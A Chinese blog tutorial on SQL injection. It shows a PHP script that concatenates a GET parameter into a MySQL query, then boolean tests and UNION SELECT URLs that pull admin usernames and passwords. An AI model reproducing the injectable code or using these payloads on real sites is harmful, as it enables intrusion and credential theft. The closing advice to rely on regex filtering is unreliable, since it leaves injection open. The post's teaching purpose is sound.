在web开发中你不得不注意的安全验证问题#1-SQL
浏览数：62 /
时间：2015年06月12日
前言
随着WEB开发的发展如日中天，越来越多的程序猿加入这个行列，尤其是在大型项目团队开发的过程中，程序员们的水平参差不齐。导致各种各样的安全验证不严密导致各种问题。正如那句话所说，水桶能装水的多少不取决于最高的挡板，而是最低的挡板。
那今天我就给大家演示一下常见的安全问题SQL的形成原因和预防。
环境准备
我本来打算用java做实验的，考虑到PHP的话比较快，就用PHP演示吧。
下面是我连接数据库的代码以及数据库的内容。文件名sql.php
<?php
$conn=mysql_connect('localhost','root','root') or die("数据库连接失败");
mysql_query("set names gb2312");
mysql_select_db("mytest");
$id=$_GET['id'];
$sql2="select * from user where id =".$id;
$result2=mysql_query($sql2);
while($alluser=mysql_fetch_array($result2))
{
echo $alluser["name"]."==>".$alluser["school"]."<br>";
}
mysql_close($conn);
?>这是很常见的连接数据库代码，数据库中有三个字段分别是id title content那我们访问我们的地址
http://127.0.0.1/safe/sql.php?id=1
从数据库中读取id为1的内容，并输入到页面。
访问正常.那么如果我们构造URL成这个样子呢？
http://127.0.0.1/safe/sql.php?id=1 and 1=1 //这个是显示正常的，意思是把and后的也一起查询。1=1显然成立
http://127.0.0.1/safe/sql.php?id=1 and 1=2 //这个是显示不正常的，意思是把and后的也一起查询。1=2显然不成立
结果如下图
这样是很明显有SQL注入的漏洞的。
你以为这个漏洞没什么影响么？那你大错特错了。
稍微有点数据库的知识就可以构造一下查询的语句
如上可看到，我们用order这个方法的时候，可以猜测到一共有多少字段，很显然3个是正确的。
那么接下来可以用union来连接查询，前提知道管理员表名。
构造URL如下
http://127.0.0.1/safe/sql.php?id=1 union select 1,2,3 from admin
这可能需要一点数据库知识，意思是连接查询，可将显示位输出到当前页面。
结果如下
很显然多出了一个1和2的显示位，那么就可以得到敏感信息了。
构造如下
127.0.0.1/safe/sql.php?id=1 union select username,password,3 from admin
意思不在累述。
结果如下
这样你的后台管理账号和密码就被显示出来了，如果你的项目后台被别人登陆，后果不堪设想！
PS:本文只是为提高程序猿的安全意识，加强安全防护，请不要用于非法用途！由于水平有限，本文只做抛砖引玉，转载请注明出处，谢谢。
那么怎么预防这个问题呢？这个也是很简单的，只要在GET或POST中过滤一下参数就可以了。用正则表达式或者其他都是可以的。目前的很多框架都是已经过滤的，具体怎么用就交给你自己了哦。实在不会的话可以留言。
郑重声明：本站内容如果来自互联网及其他传播媒体，其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享，并不代表本站赞同其观点和对其真实性负责，也不构成任何其他建议。
